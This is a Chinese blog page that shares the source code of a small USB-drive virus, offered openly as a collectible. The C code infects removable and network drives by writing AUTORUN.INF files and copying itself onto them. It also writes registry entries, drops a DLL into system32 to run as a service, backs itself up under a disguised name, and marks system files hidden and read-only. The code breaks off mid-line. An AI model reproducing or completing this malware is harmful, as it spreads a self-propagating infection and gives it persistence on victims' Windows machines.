U盘小病毒源代码收藏

这是一个U盘小病毒感染程序的源代码,包括感染U盘和网络硬盘、释放DLL并加入系统服务、保护注册表、改变系统文件属性等功能。代码涉及创建AUTORUN.INF文件、写入注册表、复制自身到系统目录以及模拟打开资源管理器等操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 U盘小病毒源代码收藏

//*******************************************

//******  网蝉U盘感染小病毒 ******

//*******************************************

//功能介绍:

//1,感染U盘和网络硬盘

//2,释放DLL文件并将其加入到系统服务启动。

//3,保护注册表相关项目。

//4,

//

//

//



#include <windows.h>

#include <stdio.h>

#include "tchar.h"

#pragma comment(linker,"/subsystem:windows")

#define IDR_SERVER1               101



void wreg();//写注册表

void cfile(LPCTSTR drivers);//创建AUTORUN.INF文件

void copysel(LPCTSTR drivers);//拷贝本文件到各盘的x:recycled../目录下

void findfile();//将系统文目录下的所有文件属性变为隐藏属性+文档+只读属性

bool Makeexe(LPCTSTR szDllFile);//释放dll文件到c:/windows/system32下

bool checkdesk(LPCTSTR drivers);





TCHAR g_strFileName[MAX_PATH];  //用来存放windows系统目录的路径

char pName [MAX_PATH];//本程序路径

char bootdll[MAX_PATH];//windows/system32/EsXP.dll

//主函数

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow)

{

        char buf[MAX_PATH];//存放盘符串

        char buff[4];//存放单个盘符信息

        char salfe[MAX_PATH];//windows/system32/wshexts.dll

   

        CreateMutex(NULL,FALSE,"TEST");//让本程序只运行1个实例

        if(GetLastError()==ERROR_ALREADY_EXISTS)

        exit(0);

        ZeroMemory(&g_strFileName,sizeof(g_strFileName));

        ZeroMemory(&pName,sizeof(pName));

        GetWindowsDirectory(g_strFileName, MAX_PATH);//得到windows系统目录放入全局g_strFileName供程序使用

        GetModuleFileName(NULL, pName, sizeof( pName ) / sizeof(char));//得到本程序目录放入全局pName供程序使用

        ZeroMemory(&salfe,sizeof(salfe));

        wsprintf(salfe,"%s//system32//wshexts.dll",g_strFileName);//备份此病毒

        ZeroMemory(&bootdll,sizeof(bootdll));

        wsprintf(bootdll,"%s//system32//EsA.nls",g_strFileName);//创建本程序的svchost启动项



        wreg();//写注册表

        findfile();//搜索系统驱动器下的根目录文件,并把文件的属性改为只读+隐藏+存档属性。

        DWORD m_Result=GetLogicalDriveStrings(MAX_PATH,buf);

        for(int i=0;i<(int)m_Result;i=i+4)

        {

               

                wsprintf(buff,"%c%c%c",buf,buf[i+1],buf[i+2]);//获得各盘的信息,格式为"c:/"

                if(checkdesk(buff))

                {

//                        MessageBox(NULL,"开始写入数据",buff,MB_OK);

                cfile(buff);//创建AUTORUN.INF文件

                copysel(buff);//复制自身

                }

        }

//复制自身到

    CopyFile(pName,salf
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值